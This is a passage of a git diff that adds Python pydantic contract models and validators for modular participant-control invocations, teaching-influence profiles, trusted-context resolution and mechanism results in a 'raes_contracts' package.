require_unique(tuple(result.result_id for result in outputs)) + require_unique(tuple(result.slot_id for result in outputs)) + slots = {slot.slot_id: slot for slot in request.selection.slots} + bindings = {binding.instance_id: binding for binding in request.selection.bindings} + by_slot: dict[str, ControlInvocationV2Model] = {} + for call in calls: + for slot_id in call.requested_slot_ids: + if slot_id in by_slot: + raise ValueError("participant control slot has duplicate invocations") + by_slot[slot_id] = call + expected = set(request.applicability.applicable_slot_ids) + if by_slot.keys() != expected or {item.slot_id for item in outputs} != expected: + raise ValueError("participant control invocation or result coverage is incomplete") + result_by_slot = {result.slot_id: result for result in outputs} + cut_digest = control_digest(request.context) + for call in calls: + binding = _validate_call_identity(call, bindings.get(call.instance_id), cut_digest) + _validate_call_state(call, binding, request, calls, outputs) + _validate_call_predecessors(call, slots, result_by_slot) + _validate_call_results(call, slots, result_by_slot) + + +def _validate_call_identity( + call: ControlInvocationV2Model, binding: ControlMechanismBindingV2Model | None, cut_digest: str +) -> ControlMechanismBindingV2Model: + if binding is None or call.binding_digest != control_digest(binding) or call.context_digest != cut_digest: + raise ValueError("participant control invocation differs from the admitted binding or cut") + if call.state_input.scope != binding.state_scope: + raise ValueError("participant control invocation state scope differs") + return binding + + +def _validate_call_state( + call: ControlInvocationV2Model, + binding: ControlMechanismBindingV2Model, + request: ParticipantControlRequestV2Model, + calls: tuple[ControlInvocationV2Model, ...], + outputs: tuple[ControlMechanismResultV2Model, ...], +) -> None: + if call.state_input.source == "committed": + states = {state.instance_id: state.state for state in request.context.provider_states} + if call.state_input.state != states.get(call.instance_id): + raise ValueError("participant control invocation state version differs") + return + predecessor = next( + (item for item in calls if item.invocation_id == call.state_input.predecessor_invocation_id), None + ) + if predecessor is None or predecessor.instance_id != binding.instance_id: + raise ValueError("participant control tentative state predecessor is absent") + proposals = { + result.next_provider_state + for result in outputs + if result.slot_id in predecessor.requested_slot_ids and result.next_provider_state is not None + } + if proposals != {call.state_input.state}: + raise ValueError("participant control tentative state does not bind a predecessor proposal") + + +def _validate_call_predecessors( + call: ControlInvocationV2Model, + slots: dict[str, ControlResultSlotV2Model], + result_by_slot: dict[str, ControlMechanismResultV2Model], +) -> None: + declared = {dep.slot_id: dep.kind for slot_id in call.requested_slot_ids for dep in slots[slot_id].dependencies} + if declared.keys() & set(call.requested_slot_ids): + raise ValueError("participant control predecessor cannot be produced in the same invocation") + supplied = {item.slot_id: item for item in call.predecessor_inputs} + if supplied.keys() != declared.keys(): + raise ValueError("participant control predecessor input coverage is incomplete") + for slot_id, item in supplied.items(): + _validate_predecessor_input(call, item, declared[slot_id], result_by_slot) + + +def _validate_predecessor_input( + call: ControlInvocationV2Model, + item: ControlPredecessorInputV2Model, + declared_kind: str, + result_by_slot: dict[str, ControlMechanismResultV2Model], +) -> None: + predecessor = result_by_slot.get(item.slot_id) + if ( + predecessor is None + or item.kind != declared_kind + or predecessor.result_id != item.result_id + or control_digest(predecessor) != item.result_digest + ): + raise ValueError("participant control predecessor result identity or type differs") + if not _satisfied(predecessor) and any( + result_by_slot[slot_id].status == "resolved" for slot_id in call.requested_slot_ids + ): + raise ValueError("participant control unsatisfied predecessor cannot feed a resolved result") + + +def _validate_call_results( + call: ControlInvocationV2Model, + slots: dict[str, ControlResultSlotV2Model], + result_by_slot: dict[str, ControlMechanismResultV2Model], +) -> None: + for slot_id in call.requested_slot_ids: + slot = slots[slot_id] + result = result_by_slot[slot_id] + _validate_call_result_identity(call, slot, result) + if result.rule_outcome == "not-triggered" and slot.kind != "effect-request": + raise ValueError("not-triggered result requires a rule/effect slot") + if result.payload is not None and result.payload.kind != slot.kind: + raise ValueError("participant control result does not match its typed slot") + + +def _validate_call_result_identity( + call: ControlInvocationV2Model, slot: ControlResultSlotV2Model, result: ControlMechanismResultV2Model +) -> None: + if ( + slot.instance_id != call.instance_id + or result.instance_id != call.instance_id + or result.binding_digest != call.binding_digest + or result.context_digest != call.context_digest + or result.invocation_digest != control_digest(call) + ): + raise ValueError("participant control result differs from its exact invocation") diff --git a/implementations/python/packages/raes_contracts/contracts/participant_control_profiles.py b/implementations/python/packages/raes_contracts/contracts/participant_control_profiles.py new file mode 100644 index 000000000..1b3f5b162 --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/participant_control_profiles.py @@ -0,0 +1,53 @@ +"""Closed wire projection of SEM-235's published teaching-influence profile.""" + +from typing import Literal + +from pydantic import ConfigDict + +from .._canonical import canonical_json_digest +from ..corpus import PROFILES, corpus_family_root +from ..json_ingress import parse_bounded_json_object +from .base import ContractModel +from .participant_control_coordinates import ControlArtifactReferenceModel +from .participant_flow_control import PARTICIPANT_BOUNDARY_FLOW_POLICY_PROFILE_REV1_DIGEST + + +class ParticipantControlTeachingProfileModel(ContractModel): + model_config = ConfigDict(frozen=True) + schema_version: Literal["participant-control-teaching-profile/v1"] + profile_id: Literal["teaching-influence"] + profile_revision: Literal["rev1"] + semantic_revision: Literal["sem-235/rev1"] + domain: Literal["teaching-influence-domain/rev1"] + tokens: tuple[Literal["coached-hint"], Literal["worked-example"]] + order: Literal["subset"] + join: Literal["union"] + unknown_source: Literal["unknown"] + memory: Literal["retain-across-episodes"] + release: Literal["none"] + sinks: tuple[Literal["practice-action"], Literal["teaching-observation"]] + trigger_rule: Literal["hint-followup/1"] + + +def load_teaching_influence_profile() -> ParticipantControlTeachingProfileModel: + # Constant packaged path, bounded read before decode; no provider-selected I/O. + path = corpus_family_root(PROFILES) / "participant-control" / "teaching-influence-rev1.json" + try: + with path.open("rb") as stream: + source = stream.read(16385) + return ParticipantControlTeachingProfileModel.model_validate(parse_bounded_json_object(source, max_bytes=16384)) + except (OSError, ValueError): + raise ValueError("published teaching influence profile is invalid") from None + + +def validate_control_profile_reference(profile: ControlArtifactReferenceModel) -> None: + if profile.revision != "rev1": + raise ValueError("participant control profile revision is unsupported") + if profile.ref == "teaching-influence": + expected = canonical_json_digest(load_teaching_influence_profile().model_dump(mode="json")) + elif profile.ref == "participant-boundary-flow-policy-v1": + expected = PARTICIPANT_BOUNDARY_FLOW_POLICY_PROFILE_REV1_DIGEST + else: + raise ValueError("participant control profile identity is unsupported") + if profile.digest != expected: + raise ValueError("participant control profile digest does not match its revision") diff --git a/implementations/python/packages/raes_contracts/contracts/participant_control_resolution.py b/implementations/python/packages/raes_contracts/contracts/participant_control_resolution.py new file mode 100644 index 000000000..b942f083c --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/participant_control_resolution.py @@ -0,0 +1,491 @@ +"""Trusted, non-wire validation context for modular participant control. + +The operator supplies owner-resolved records, never indexes from a provider's +response. Validation proves consistency with those authorities, not execution. +""" + +from __future__ import annotations + +from collections.abc import Callable, Iterator, Mapping +from dataclasses import dataclass, field + +from raes.participant_inject_delivery import ParticipantInjectDelivery + +from .base import ContractModel +from .participant_control import ( + ParticipantControlDeclarationModel, + ParticipantControlOccurrenceModel, + ParticipantControlTargetContextModel, +) +from .participant_control_applicability import ( + ControlMechanismBindingV2Model, + ControlObligationCoverageV2Model, + ParticipantControlRequestV2Model, +) +from .participant_control_composition import ( + ParticipantControlEvaluationModel, + ParticipantControlRequestModel, + _validate_ifc_result, + control_digest, +) +from .participant_control_coordinates import ControlArtifactReferenceModel, ParticipantControlContextModel +from .participant_control_decisions_v2 import ControlEffectRequestV2Model +from .participant_control_effects import ControlEffectRequestModel, ControlInjectEffectModel +from .participant_control_evaluation_v2 import ( + ControlStateProposalV2Model, + ParticipantControlEvaluationV2Model, + admitted_control_effect_ids_v2, +) +from .participant_control_invocation import ControlMechanismResultV2Model +from .participant_control_results import ( + ControlEffectiveSupportModel, + ControlMechanismResultModel, + ControlRealizationBindingModel, + ControlSecurityFactModel, +) +from .participant_control_selection import ControlMechanismBindingModel +from .participant_control_support_v2 import ControlSupportAssessmentV2Model +from .participant_control_validation import validate_participant_control_occurrence_context +from .participant_crossing import ( + ParticipantCrossingOccurrenceModel, + ParticipantCrossingPolicyReferenceModel, + ParticipantCrossingSubjectReferenceModel, +) +from .participant_crossing_validation import validate_participant_crossing_occurrence_context +from .participant_flow_control import ParticipantFlowControlRelationModel, ParticipantFlowSinkDecisionModel +from .participant_flow_control_context import ParticipantFlowControlValidationContext +from .participant_flow_control_validation import validate_participant_flow_control_context + +_COMMITTED_EFFECT_MISMATCH = "realized effect differs from its committed full intent, cut, or prerequisites" + + +@dataclass(frozen=True) +class ParticipantControlValidationContext: + admitted_request: ParticipantControlRequestModel + safe_references: frozenset[ControlArtifactReferenceModel] + installed_bindings: Mapping[str, ControlMechanismBindingModel] + effective_support: Mapping[str, ControlEffectiveSupportModel] + resolved_results: Mapping[str, ControlMechanismResultModel] + authorized_effects: Mapping[str, ParticipantControlContextModel] + incumbent_gate_evidence: ControlArtifactReferenceModel + incumbent_gate_disposition: str + support_resolver: Callable[[ControlMechanismBindingModel, ControlEffectiveSupportModel], str | None] + realization_receipts: Mapping[str, ControlRealizationBindingModel] + crossing_records: tuple[ParticipantCrossingOccurrenceModel, ...] = () + crossing_subjects: tuple[ParticipantCrossingSubjectReferenceModel, ...] = () + crossing_policies: tuple[ParticipantCrossingPolicyReferenceModel, ...] = () + control_records: tuple[ParticipantControlOccurrenceModel, ...] = () + control_declarations: tuple[ParticipantControlDeclarationModel, ...] = () + control_targets: tuple[ParticipantControlTargetContextModel, ...] = () + flow_relations: Mapping[str, ParticipantFlowControlRelationModel] = field(default_factory=dict) + flow_contexts: Mapping[str, ParticipantFlowControlValidationContext] = field(default_factory=dict) + inject_deliveries: Mapping[str, ParticipantInjectDelivery] = field(default_factory=dict) + + +def control_references(record: object) -> Iterator[ControlArtifactReferenceModel]: + """Enumerate typed references for trusted disclosure checking, without I/O.""" + if isinstance(record, ControlArtifactReferenceModel): + yield record + elif isinstance(record, ContractModel): + for name in type(record).model_fields: + yield from control_references(getattr(record, name)) + elif isinstance(record, tuple): + for value in record: + yield from control_references(value) + + +def _validate_incumbent_records(context: ParticipantControlValidationContext) -> None: + known_evidence = {ref.ref for ref in context.safe_references if ref.kind == "evidence"} + known_authority = {ref.ref for ref in context.safe_references if ref.kind == "authority"} + validate_participant_crossing_occurrence_context( + context.crossing_records, + known_subjects=context.crossing_subjects, + policies=context.crossing_policies, + known_evidence_refs=known_evidence, + known_authority_basis_refs=known_authority, + ) + validate_participant_control_occurrence_context( + context.control_records, + declarations=context.control_declarations, + known_targets=context.control_targets, + ) + + +def _validate_crossing(cut: ParticipantControlContextModel, context: ParticipantControlValidationContext) -> None: + crossing = next((item for item in context.crossing_records if item.event_id == cut.crossing.ref), None) + if crossing is None: + raise ValueError("participant control crossing does not resolve") + owner = crossing.occurrence + # Occurrence digest uses the original wire payload projection (unset + # incumbent optional fields are not materialized into that artifact). + from .._canonical import canonical_json_digest + + if canonical_json_digest(crossing.model_dump(mode="json", exclude_unset=True)) != cut.crossing.digest: + raise ValueError("participant control crossing artifact digest differs") + if ( + owner.subject.model_dump() != cut.subject.model_dump() + or owner.policy.model_dump() != cut.policy.model_dump() + or owner.direction != cut.direction + or owner.audience_scope_ref != cut.audience_ref + or owner.controller_ref != cut.controller_ref + or cut.authority.ref not in owner.authority_basis_refs + ): + raise ValueError("participant control crossing coordinates differ") + + +def _validate_inject( + target: ControlInjectEffectModel, cut: ParticipantControlContextModel, context: ParticipantControlValidationContext +) -> None: + delivery = context.inject_deliveries.get(target.delivery_ref.ref) + if delivery is None or control_digest(delivery) != target.delivery_ref.digest: + raise ValueError("inject request has no exact owning delivery") + expected = ( + target.participant_address, + target.inject_ref, + target.event_ref, + target.script_ref, + target.story_ref, + target.source_item_ref, + target.result_item_ref, + target.disclosure_ref.ref, + ) + observed = ( + delivery.participant_ref, + delivery.inject_ref, + delivery.occurrence.event_ref, + delivery.occurrence.script_ref, + delivery.occurrence.story_ref, + delivery.source_item_ref, + delivery.result_item_ref, + delivery.delivery_policy.disclosure_basis_ref, + ) + if ( + expected != observed + or target.episode_id != cut.episode_id + or delivery.delivery_policy.audience_scope_ref != cut.audience_ref + ): + raise ValueError("inject request owner coordinates differ") + + +def _security_sink_matches( + decision: ParticipantFlowSinkDecisionModel, + decision_ids: set[str], + fact: ControlSecurityFactModel, + cut: ParticipantControlContextModel, +) -> bool: + return ( + decision.decision_id in decision_ids + and decision.label_ref == fact.label_ref + and (decision.sink.sink_ref, decision.sink.destination_ref, decision.sink.audience_scope_ref) + == (cut.sink_ref, cut.destination_ref, cut.audience_ref) + and set(decision.expected_history_head_refs) == {head.ref for head in cut.expected_history_heads} + ) + + +def _validate_security_sink( + relation: ParticipantFlowControlRelationModel, fact: ControlSecurityFactModel, cut: ParticipantControlContextModel +) -> None: + # The IFC subject may be a derived action argument, whereas the API-423 + # subject is its enclosing control occurrence. Follow the incumbent + # typed carrier relation instead of conflating these identities. + decision_ids = { + binding.relation_target.target_ref + for binding in relation.bindings + if binding.kind == "participant-crossing" + and binding.event_id == cut.crossing.ref + and binding.relation_target.target_kind == "sink-decision" + } + if not any(_security_sink_matches(decision, decision_ids, fact, cut) for decision in relation.sink_decisions): + raise ValueError("security fact has no exact crossing and sink binding") + + +def _validate_security_fact( + fact: ControlSecurityFactModel, cut: ParticipantControlContextModel, context: ParticipantControlValidationContext +) -> None: + relation = context.flow_relations.get(fact.relation.ref) + flow_context = context.flow_contexts.get(fact.relation.ref) + if relation is None or flow_context is None or control_digest(relation) != fact.relation.digest: + raise ValueError("security fact requires its exact incumbent relation and context") + validate_participant_flow_control_context(relation, flow_context) + label = next((label for label in relation.labels if label.label_id == fact.label_ref), None) + if label is None or label.resolution_status != "resolved": + raise ValueError("security fact label does not resolve") + if (relation.document_id, relation.document_revision) != (fact.relation.ref, fact.relation.revision): + raise ValueError("security relation identity differs") + _validate_security_sink(relation, fact, cut) + for name in ( + "policy_id", + "policy_revision", + "policy_digest", + "policy_decision_ref", + "decision_cut_ref", + "effective_order", + ): + if getattr(label.policy, name) != getattr(cut.policy, name): + raise ValueError("security fact exact policy cut differs") + + +def _validate_incumbents( + record: ParticipantControlEvaluationModel, context: ParticipantControlValidationContext +) -> None: + _validate_incumbent_records(context) + cut = record.request.context + _validate_crossing(cut, context) + for result in record.results: + if isinstance(result.payload, ControlEffectRequestModel) and result.payload.target.kind == "inject": + _validate_inject(result.payload.target, cut, context) + if isinstance(result.payload, ControlSecurityFactModel): + _validate_security_fact(result.payload, cut, context) + + +def validate_participant_control_context( + record: ParticipantControlEvaluationModel, context: ParticipantControlValidationContext +) -> None: + """Check all portable claims against independent admitted owner resolutions.""" + # Reconstruct to reject unchecked model_construct/model_copy mutations. + record = ParticipantControlEvaluationModel.model_validate(record.model_dump(mode="python")) + if record.request != context.admitted_request: + raise ValueError("participant control request is stale or not admitted") + if not set(control_references(record)) <= context.safe_references: + raise ValueError("participant control reference is unresolved or unsafe to disclose") + if ( + record.composition.incumbent_gate_evidence != context.incumbent_gate_evidence + or record.composition.incumbent_gate_disposition != context.incumbent_gate_disposition + ): + raise ValueError("participant control incumbent gate resolution differs") + _validate_support_claims(record, context) + _validate_result_claims(record, context) + _validate_incumbents(record, context) + + +def _validate_support_claims( + record: ParticipantControlEvaluationModel, context: ParticipantControlValidationContext +) -> None: + bindings = {binding.instance_id: binding for binding in record.request.selection.bindings} + for support in record.support: + binding = bindings[support.instance_id] + if support.effective_level != "unsupported" and context.installed_bindings.get(binding.instance_id) != binding: + raise ValueError("participant control installed binding differs") + if context.effective_support.get(binding.instance_id) != support: + raise ValueError("participant control effective support is unsubstantiated") + try: + declared = context.support_resolver(binding, support) + except Exception: + raise ValueError("participant control declaration resolution failed") from None + if declared is None or declared != support.declared_level: + raise ValueError("participant control declaration strength is missing or inconsistent") + + +def _validate_result_claims( + record: ParticipantControlEvaluationModel, context: ParticipantControlValidationContext +) -> None: + for result in record.results: + if result.status == "resolved" and context.resolved_results.get(result.result_id) != result: + raise ValueError("participant control result has no matching trusted resolution") + if isinstance(result.payload, ControlEffectRequestModel): + if context.authorized_effects.get(control_digest(result.payload)) != record.request.context: + raise ValueError("participant control effect authority is unresolved at this cut") + for realization in record.realizations: + if context.realization_receipts.get(realization.receipt.ref) != realization: + raise ValueError("participant control realization lacks an exact owner receipt") + + +ParticipantControlContextResolver = Callable[ + [ParticipantControlEvaluationModel], ParticipantControlValidationContext | None +] + + +def validate_participant_control_resolved_context( + record: ParticipantControlEvaluationModel, resolver: ParticipantControlContextResolver | None +) -> None: + """Sanitized boundary for resolver exceptions and malformed trusted indexes.""" + try: + context = resolver(record) if resolver is not None else None + if not isinstance(context, ParticipantControlValidationContext): + raise ValueError("missing context") + validate_participant_control_context(record, context) + except Exception: + raise ValueError("participant control trusted-context validation failed") from None + + +@dataclass(frozen=True) +class ControlCommittedEffectIntentV2: + """Owner-resolved prior transaction and realization for one retained effect.""" + + evaluation: ParticipantControlEvaluationV2Model + outcome: ControlRealizationBindingModel + + +@dataclass(frozen=True) +class ParticipantControlValidationContextV2: + """Operator-resolved v2 authorities; never supplied by a provider result.""" + + admitted_request: ParticipantControlRequestV2Model + admitted_crossing: ControlArtifactReferenceModel + installed_bindings: Mapping[str, ControlMechanismBindingV2Model] + resolved_coverage: Mapping[str, ControlObligationCoverageV2Model] + resolved_results: Mapping[str, ControlMechanismResultV2Model] + resolved_support: Mapping[tuple[str, str], ControlSupportAssessmentV2Model] + authorized_effects: Mapping[str, ParticipantControlContextModel] + safe_references: frozenset[ControlArtifactReferenceModel] + support_resolver: Callable[[ControlSupportAssessmentV2Model], bool] + incumbent_gate_disposition: str + crossing_records: tuple[ParticipantCrossingOccurrenceModel, ...] + crossing_subjects: tuple[ParticipantCrossingSubjectReferenceModel, ...] + crossing_policies: tuple[ParticipantCrossingPolicyReferenceModel, ...] + parent_admission_receipt: ControlArtifactReferenceModel | None = None + parent_application_receipt: ControlArtifactReferenceModel | None = None + realization_receipts: Mapping[str, ControlRealizationBindingModel] = field(default_factory=dict) + committed_effect_intents: Mapping[str, ControlCommittedEffectIntentV2] = field(default_factory=dict) + authorized_state_proposals: Mapping[str, ControlStateProposalV2Model] = field(default_factory=dict) + commit_receipt: ControlArtifactReferenceModel | None = None + control_records: tuple[ParticipantControlOccurrenceModel, ...] = () + control_declarations: tuple[ParticipantControlDeclarationModel, ...] = () + control_targets: tuple[ParticipantControlTargetContextModel, ...] = () + flow_relations: Mapping[str, ParticipantFlowControlRelationModel] = field(default_factory=dict) + flow_contexts: Mapping[str, ParticipantFlowControlValidationContext] = field(default_factory=dict) + inject_deliveries: Mapping[str, ParticipantInjectDelivery] = field(default_factory=dict) + + +ParticipantControlContextResolverV2 = Callable[ + [ParticipantControlEvaluationV2Model], ParticipantControlValidationContextV2 | None +] + + +def validate_participant_control_resolved_context_v2( + record: ParticipantControlEvaluationV2Model, + resolver: ParticipantControlContextResolverV2 | None, +) -> None: + """Check v2 wire claims against independent exact-cut owner resolutions.""" + + try: + record = ParticipantControlEvaluationV2Model.model_validate(record.model_dump(mode="python")) + context = resolver(record) if resolver is not None else None + if not isinstance(context, ParticipantControlValidationContextV2): + raise ValueError("missing trusted context") + _validate_v2_trusted_context(record, context) + except Exception: + raise ValueError("participant control trusted-context validation failed") from None + + +def _validate_v2_trusted_context( + record: ParticipantControlEvaluationV2Model, context: ParticipantControlValidationContextV2 +) -> None: + _validate_admitted_v2_identity(record, context) + _validate_v2_results_and_support(record, context) + _validate_v2_effect_authority(record, context) + _validate_v2_receipts(record, context) + + +def _validate_admitted_v2_identity( + record: ParticipantControlEvaluationV2Model, context: ParticipantControlValidationContextV2 +) -> None: + if record.request != context.admitted_request or record.request.context.crossing != context.admitted_crossing: + raise ValueError("admitted request or crossing differs") + if not set(control_references(record)) <= context.safe_references: + raise ValueError("unsafe or unresolved portable reference") + _validate_incumbent_records(context) + _validate_crossing(record.request.context, context) + if {item.instance_id: item for item in record.request.selection.bindings} != context.installed_bindings: + raise ValueError("installed apparatus differs") + if {item.obligation_id: item for item in record.request.applicability.coverage} != context.resolved_coverage: + raise ValueError("profile-owned applicability differs") + + +def _validate_v2_results_and_support( + record: ParticipantControlEvaluationV2Model, context: ParticipantControlValidationContextV2 +) -> None: + if {item.slot_id: item for item in record.results} != context.resolved_results: + raise ValueError("provider results differ") + bindings = {item.instance_id: item for item in record.request.selection.bindings} + for result in record.results: + _validate_ifc_result(result, bindings[result.instance_id], record.request.context) + if isinstance(result.payload, ControlSecurityFactModel): + _validate_security_fact(result.payload, record.request.context, context) + if {(item.obligation_id, item.instance_id): item for item in record.support} != context.resolved_support: + raise ValueError("effective support differs") + for item in record.support: + if item.satisfied and not context.support_resolver(item): + raise ValueError("support relation is unsubstantiated") + if record.effect_plan.incumbent_gate_disposition != context.incumbent_gate_disposition: + raise ValueError("incumbent gate resolution differs") + + +def _validate_v2_effect_authority( + record: ParticipantControlEvaluationV2Model, context: ParticipantControlValidationContextV2 +) -> None: + if {item.invocation_id: item for item in record.state_proposals} != context.authorized_state_proposals: + raise ValueError("state write and commit timing differ from owner authorization") + effects = {item.effect_id: item for item in record.effect_plan.effects} + current_outcomes = {item.effect_id: item for item in record.effect_plan.effect_outcomes} + for effect_id in record.effect_plan.realized_effect_ids: + _validate_prior_effect(record, context, effects[effect_id], current_outcomes.get(effect_id)) + for effect_id in admitted_control_effect_ids_v2(record.composition, record.effect_plan): + effect = effects[effect_id] + if context.authorized_effects.get(control_digest(effect)) != record.request.context: + raise ValueError("effect authority is unresolved for its full payload and cut") + if isinstance(effect.target, ControlInjectEffectModel): + _validate_inject(effect.target, record.request.context, context) + + +def _validate_prior_effect( + record: ParticipantControlEvaluationV2Model, + context: ParticipantControlValidationContextV2, + effect: ControlEffectRequestV2Model, + current_outcome: ControlRealizationBindingModel | None, +) -> None: + prior = context.committed_effect_intents.get(effect.effect_id) + if not isinstance(prior, ControlCommittedEffectIntentV2): + raise ValueError("realized effect lacks an owner-resolved committed intent") + origin = ParticipantControlEvaluationV2Model.model_validate(prior.evaluation.model_dump(mode="python")) + _validate_prior_identity(record, origin, effect) + _validate_prior_commit(origin, effect.effect_id) + if ( + context.authorized_effects.get(control_digest(effect)) != origin.request.context + or prior.outcome != current_outcome + or prior.outcome.disposition != "applied" + ): + raise ValueError(_COMMITTED_EFFECT_MISMATCH) + if isinstance(effect.target, ControlInjectEffectModel): + _validate_inject(effect.target, origin.request.context, context) + + +def _validate_prior_identity( + record: ParticipantControlEvaluationV2Model, + origin: ParticipantControlEvaluationV2Model, + effect: ControlEffectRequestV2Model, +) -> None: + origin_effects = {item.effect_id: item for item in origin.effect_plan.effects} + if ( + origin_effects.get(effect.effect_id) != effect + or origin.request.context.run != record.request.context.run + or origin.request.context.trigger_root != record.request.context.trigger_root + or origin.request.context.crossing != record.request.context.crossing + or origin.request.context.order > record.request.context.order + or origin.request.context.effects_consumed >= record.request.context.effects_consumed + ): + raise ValueError(_COMMITTED_EFFECT_MISMATCH) + + +def _validate_prior_commit(origin: ParticipantControlEvaluationV2Model, effect_id: str) -> None: + if ( + origin.commit.status != "committed" + or origin.commit.receipt is None + or effect_id not in origin.commit.dispatchable_effect_ids + or effect_id not in origin.effect_plan.runnable_effect_ids + or effect_id not in admitted_control_effect_ids_v2(origin.composition, origin.effect_plan) + ): + raise ValueError(_COMMITTED_EFFECT_MISMATCH) + + +def _validate_v2_receipts( + record: ParticipantControlEvaluationV2Model, context: ParticipantControlValidationContextV2 +) -> None: + if ( + record.effect_plan.parent_admission_receipt != context.parent_admission_receipt + or record.effect_plan.parent_application_receipt != context.parent_application_receipt + or record.commit.receipt != context.commit_receipt + ): + raise ValueError("parent or transaction receipt differs from owner resolution") + if {item.effect_id: item for item in record.effect_plan.effect_outcomes} != context.realization_receipts: + raise ValueError("effect outcome differs from owner resolution") diff --git a/implementations/python/packages/raes_contracts/contracts/participant_control_results.py b/implementations/python/packages/raes_contracts/contracts/participant_control_results.py new file mode 100644 index 000000000..e505db83a --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/participant_control_results.py @@ -0,0 +1,174 @@ +"""Typed mechanism facts, decisions and advice remain distinct from effects.""" + +from __future__ import annotations + +from typing import Annotated, Literal, Self + +from pydantic import ConfigDict, Field, StrictFloat, model_validator + +from .base import ContractModel, PrefixedDigestString +from .participant_control_coordinates import ( + Artifacts, + ControlArtifactReferenceModel, + ControlRef, + ControlRefs, + Evidence, + ResolutionStatus, + require_kind, + require_unique, +) +from .participant_control_effects import ControlEffectRequestModel + + +class ControlTeachingFactModel(ContractModel): + model_config = ConfigDict(frozen=True) + kind: Literal["ifc-fact"] + domain: Literal["teaching-influence-domain/rev1"] + tokens: Annotated[tuple[Literal["coached-hint", "worked-example"], ...], Field(max_length=2)] + source_refs: Evidence + + @model_validator(mode="after") + def _canonical_tokens(self) -> Self: + if self.tokens != tuple(sorted(set(self.tokens))): + raise ValueError("teaching influence tokens must be canonical and unique") + return self + + +class ControlSecurityFactModel(ContractModel): + """Reference the exact incumbent SEM-233 label and owning relation.""" + + model_config = ConfigDict(frozen=True) + kind: Literal["ifc-fact"] + domain: Literal["sem-233/rev1"] + relation: ControlArtifactReferenceModel + label_ref: ControlRef + + @model_validator(mode="after") + def _owner(self) -> Self: + require_kind(self.relation, "flow-relation") + return self + + +ControlIFCFact = Annotated[ControlTeachingFactModel | ControlSecurityFactModel, Field(discriminator="domain")] + + +class ControlDecisionModel(ContractModel): + model_config = ConfigDict(frozen=True) + kind: Literal["decision"] + disposition: Literal["permit", "deny", "withhold", "abstain"] + rule: ControlArtifactReferenceModel + + @model_validator(mode="after") + def _owner(self) -> Self: + require_kind(self.rule, "rule") + return self + + +class ControlAdvisoryModel(ContractModel): + model_config = ConfigDict(frozen=True) + kind: Literal["advisory"] + assessment: Literal["positive", "negative", "abstain"] + score: Annotated[StrictFloat, Field(ge=0, le=1, allow_inf_nan=False)] + sample: ControlArtifactReferenceModel + + +ControlResultPayload = Annotated[ + ControlIFCFact | ControlDecisionModel | ControlAdvisoryModel | ControlEffectRequestModel, + Field(discriminator="kind"), +] + + +class ControlMechanismResultModel(ContractModel): + model_config = ConfigDict(frozen=True) + result_id: ControlRef + slot_id: ControlRef + instance_id: ControlRef + binding_digest: PrefixedDigestString + context_digest: PrefixedDigestString + status: ResolutionStatus + payload: ControlResultPayload | None + evidence: Evidence + next_provider_state: ControlArtifactReferenceModel | None + + @model_validator(mode="after") + def _resolved_payload(self) -> Self: + if (self.status == "resolved") != (self.payload is not None): + raise ValueError("only a resolved mechanism result carries a typed payload") + if self.next_provider_state is not None: + require_kind(self.next_provider_state, "provider-state") + if self.status != "resolved": + raise ValueError("unresolved results cannot propose provider state") + return self + + +class ControlEffectiveSupportModel(ContractModel): + model_config = ConfigDict(frozen=True) + instance_id: ControlRef + feature: Literal["participant_modular_control"] + declaration_ref: ControlArtifactReferenceModel + declared_level: Literal["exact", "bounded", "disclosed_weak", "unsupported"] + effective_level: Literal["exact", "bounded", "disclosed_weak", "unsupported"] + status: ResolutionStatus + context_digest: PrefixedDigestString + installation: ControlArtifactReferenceModel | None + constraints: Artifacts + limitations: Evidence + evidence: Evidence + downgrade_authority: ControlArtifactReferenceModel | None + + @model_validator(mode="after") + def _strength(self) -> Self: + levels = ("unsupported", "disclosed_weak", "bounded", "exact") + require_kind(self.declaration_ref, "manifest") + if levels.index(self.effective_level) > levels.index(self.declared_level): + raise ValueError("effective support cannot exceed declared support") + if self.effective_level != "unsupported" and self.installation is None: + raise ValueError("positive effective support requires an installed binding") + if self.installation is not None: + require_kind(self.installation, "installation") + for item in self.constraints: + require_kind(item, "constraint") + for item in self.limitations: + require_kind(item, "limitation") + if self.effective_level == "bounded" and not self.constraints: + raise ValueError("bounded support requires constraints") + self._downgrade() + return self + + def _downgrade(self) -> None: + if self.downgrade_authority is not None: + require_kind(self.downgrade_authority, "authority") + if self.effective_level in {"unsupported", "exact"}: + raise ValueError("unsupported or exact support is not an authorized downgrade") + + +class ControlCompositionModel(ContractModel): + model_config = ConfigDict(frozen=True) + rule_revision: Literal["sem-235/rev1"] + disposition: Literal["eligible", "deny", "withhold", "unsupported", "stale", "failed", "weakened", "conflict"] + blockers: ControlRefs + contributing_result_ids: ControlRefs + incumbent_gate_disposition: Literal["permit", "deny", "withhold", "unsupported", "stale", "failed"] + incumbent_gate_evidence: ControlArtifactReferenceModel + + @model_validator(mode="after") + def _contributors(self) -> Self: + require_unique(self.contributing_result_ids) + if self.blockers != tuple(sorted(set(self.blockers))): + raise ValueError("composition blockers must be canonical and unique") + return self + + +class ControlRealizationBindingModel(ContractModel): + """An out-of-line owner outcome, never a provider result or permission.""" + + model_config = ConfigDict(frozen=True) + effect_id: ControlRef + disposition: Literal["applied", "failed", "indeterminate", "unsupported", "withheld"] + receipt: ControlArtifactReferenceModel + evidence: Evidence + + @model_validator(mode="after") + def _receipt(self) -> Self: + require_kind(self.receipt, "receipt") + return self diff --git a/implementations/python/packages/raes_contracts/contracts/participant_control_selection.py b/implementations/python/packages/raes_contracts/contracts/participant_control_selection.py new file mode 100644 index 000000000..b93b5a710 --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/participant_control_selection.py @@ -0,0 +1,133 @@ +"""Closed apparatus selection of modular participant-control mechanisms.""" + +from __future__ import annotations + +from graphlib import CycleError, TopologicalSorter +from typing import Annotated, Literal, Self + +from pydantic import ConfigDict, Field, model_validator + +from .base import ContractModel, PrefixedDigestString +from .participant_control_coordinates import ( + ControlArtifactReferenceModel, + ControlCount, + ControlRef, + ControlRefs, + Evidence, + ResultKind, + require_kind, + require_unique, +) +from .participant_control_profiles import validate_control_profile_reference +from .participant_crossing_vocab import ParticipantCrossingSubjectKind + + +class ControlApplicabilityModel(ContractModel): + model_config = ConfigDict(frozen=True) + participant_address: ControlRef + episode_id: ControlRef + direction: Literal["ingress", "egress"] + 